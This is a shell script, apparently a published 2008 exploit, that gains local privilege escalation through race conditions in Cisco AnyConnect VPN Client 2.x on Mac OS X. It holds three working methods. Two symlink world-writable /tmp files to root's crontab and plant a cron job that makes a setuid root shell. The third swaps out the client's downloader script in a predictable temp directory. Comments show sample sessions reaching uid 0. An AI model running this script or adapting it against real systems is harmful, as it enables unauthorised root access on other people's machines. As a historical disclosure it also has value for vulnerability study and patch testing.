#!/bin/sh # Exploits a series of trivial race condition in Cisco's AnyConnect VPN # Client. Tested only on version 2.2.0128, but I suspect there is no # reason for this not to work on any 2.x version until Cisco fixes it. # This particular bit of exploit code is only for Mac OS X installations. # Exploit code for Linux installations of Cisco AnyConnect, along with this # code in its original form, can be had from # http://spoofed.org/files/exploits# # # Jon Hart , April 2008 SETUID_SHELL="" setuid_shell() { SH_C="sh_c-$$.c" # write out setuid shell echo "main() { seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }" > $SH_C # try like hell to get this shell compiled SETUID_SHELL=`mktemp /tmp/vpnshell-$$.XXXXXX` gcc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1 if [ $? != 0 ]; then cc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1 if [ $? != 0 ]; then echo "No cc/gcc found, or something went wrong" cp /bin/sh /tmp/sh SETUID_SHELL=/bin/sh fi fi rm -f $SH_C } crontab_pwn() { TARGET_FILE=$1 TARGET_USER=$2 if [ -h $TARGET_FILE ]; then echo "$TARGET_FILE already exists -- sloppy seconds! Best cleanup." rm -f $TARGET_FILE || exit 1 fi if [ -f $TARGET_FILE ]; then echo "$TARGET_FILE already exists" echo "Waiting ... but this probably won't work." while (true); do if [ ! -f $TARGET_FILE ]; then echo "$TARGET_FILE no longer exists -- Go time" break fi echo -n "." sleep 1 done fi USER_CRONTAB=`mktemp /tmp/crontab-$$.XXXXXX` TARGET_CRONTAB=/var/cron/tabs/$TARGET_USER if [ -f $TARGET_CRONTAB ]; then echo "$TARGET_USER crontab already exists. Cannot exploit." exit 1 fi # Thanks to Marco Ivaldi and KF for this cat >> $USER_CRONTAB << EOF * * * * * /bin/echo > /dev/null EOF crontab -l 2>&1 > /dev/null if [ $? -ne 0 ]; then echo "[*] Creating bogus cronjob for $USER so that cron is running" crontab $USER_CRONTAB rm -f $USER_CRONTAB fi echo "[*] Setting up to-be-setuid shell" setuid_shell echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob" ln -s $TARGET_CRONTAB $TARGET echo "[*] Waiting for symlink to be followed" while (true); do if [ ! -h $TARGET_FILE ]; then echo echo "[*] $TARGET_FILE disappeared. Installer probably starting" echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob" ln -s $TARGET_CRONTAB $TARGET_FILE fi if [ -f $TARGET_CRONTAB -a -w $TARGET_CRONTAB ]; then rm -f $TARGET_FILE cat /dev/null > $TARGET_CRONTAB echo "* * * * * /usr/sbin/chown $TARGET_USER $SETUID_SHELL; /bin/chmod 4555 $SETUID_SHELL; /usr/bin/crontab -r" > $TARGET_CRONTAB echo echo "[*] $TARGET_USER cronjob written" break else echo -n "." sleep 1 fi done echo "[*] Waiting for shell" while (true); do if [ -u $SETUID_SHELL ]; then echo echo "[*] Success -- setuid $TARGET_USER shell is $SETUID_SHELL" exec $SETUID_SHELL else echo -n "." sleep 1 fi done } method_1() { # Our target is /tmp/routechangesv4.bin, which gets written mode 666 by the # root user every time the client is launched. Technique is to symlink it # to a hopefully non-existent root crontab, and then modify that crontab # when it gets installed to do our bidding. This is also exploitable at # install time, albeit a bit less reliably. # sh-2.05b$ id # uid=502(test) gid=502(test) groups=502(test) # sh-2.05b$ ./cisco-anyconnect-mac-exploit.sh # [*] Creating bogus cronjob for test so that cron is running # [*] Setting up to-be-setuid shell # [*] Creating symlink for /tmp/routechangesv4.bin to root cronjob # [*] Waiting for symlink to be followed # .... # [*] Root cronjob written # [*] Waiting for shell # ........ # [*] Success -- setuid root shell is /tmp/vpnshell-6797.XXXXXX.oCBcJC8U # sh-2.05b# id # uid=0(root) gid=0(wheel) groups=0(wheel) # sh-2.05b# pwnd. crontab_pwn "/tmp/routechangesv4.bin" root } method_2() { # This method counts on a hardcoded "temporary" directory that # VPNJava.jar uses to place the vpndownloader.sh script. The exploit # technique here is to create the temporary directory world writable, # wait for AnyConnect to drop vpndownloader.sh in there and then swap it # out with a version that we control. This is exploitable when # AnyConnect is first installed or if it determines at runtime that # a new version is available from the VPN server. This does not yield # root. This gets you a setuid shell as the user running AnyConnect # jhart-mac:/tmp test$ id # uid=502(test) gid=502(test) groups=502(test) # jhart-mac:/tmp test$ ./cisco-anyconnect-mac-exploit.sh 2 # [*] Cisco AnyConnect 2.2.0128 (2.x) race condition exploit(s) # [*] by Jon hart # # [*] Waiting for installer to create /tmp/Temp8-Vpn2e8/vpndownloader.sh # ..... # [*] /tmp/Temp8-Vpn2e8/vpndownloader.sh created # [*] Waiting for setuid user shell # # [*] Success: setuid shell is /tmp/sh: # sh-2.05b$ id # uid=502(test) gid=502(test) euid=501(jhart) groups=502(test) # sh-2.05b$ pwn # sh: pwn: command not found # sh-2.05b$ d TARGET_DIR="/tmp/Temp8-Vpn2e8" TARGET_FILE="$TARGET_DIR/vpndownloader.sh" SETUID_SHELL="/tmp/sh" if [ -d $TARGET_DIR -a -O $TARGET_DIR ]; then rm -Rf $TARGET_DIR elif [ -d $TARGET_DIR ]; then echo "$TARGET_DIR already exists as a directory -- Cisco AnyConnect VPN client already installed. This exploit method will not work." exit 1 fi mkdir $TARGET_DIR chmod 777 $TARGET_DIR echo "[*] Waiting for installer to create $TARGET_FILE" while (true); do if [ -f $TARGET_FILE ]; then echo echo "[*] $TARGET_FILE created" # Attempt to salvage and use what is downloaded so as not to ruin # the user experience. Generally does not work given huge # variances in system load and bandwidth. Its the thought that # counts, though. cp $TARGET_FILE $TARGET_FILE.$$ rm -f $TARGET_FILE SETUID_SHELL="/tmp/vpnshell-$$" cat > $TARGET_FILE << EOF #!/bin/sh cp /bin/ksh $SETUID_SHELL chmod 4555 $SETUID_SHELL $TARGET_FILE.$$ "\$*" EOF chmod 755 $TARGET_FILE $TARGET_FILE.$$ break else echo -n "." sleep 1 fi done echo "[*] Waiting for setuid user shell" while (true); do if [ -u $SETUID_SHELL ]; then echo echo "[*] Success: setuid shell is $SETUID_SHELL:" exec $SETUID_SHELL else echo -n "." sleep 1 fi done } method_3() { crontab_pwn "/tmp/vpn-uninstall.log" root } echo "[*] Cisco AnyConnect 2.2.0128 (2.x) race condition exploit(s)" echo "[*] by Jon hart " echo if [ "X$1" == "X1" ]; then method_1 elif [ "X$1" == "X2" ]; then method_2 elif [ "X$1" == "X3" ]; then method_3 else method_1 fi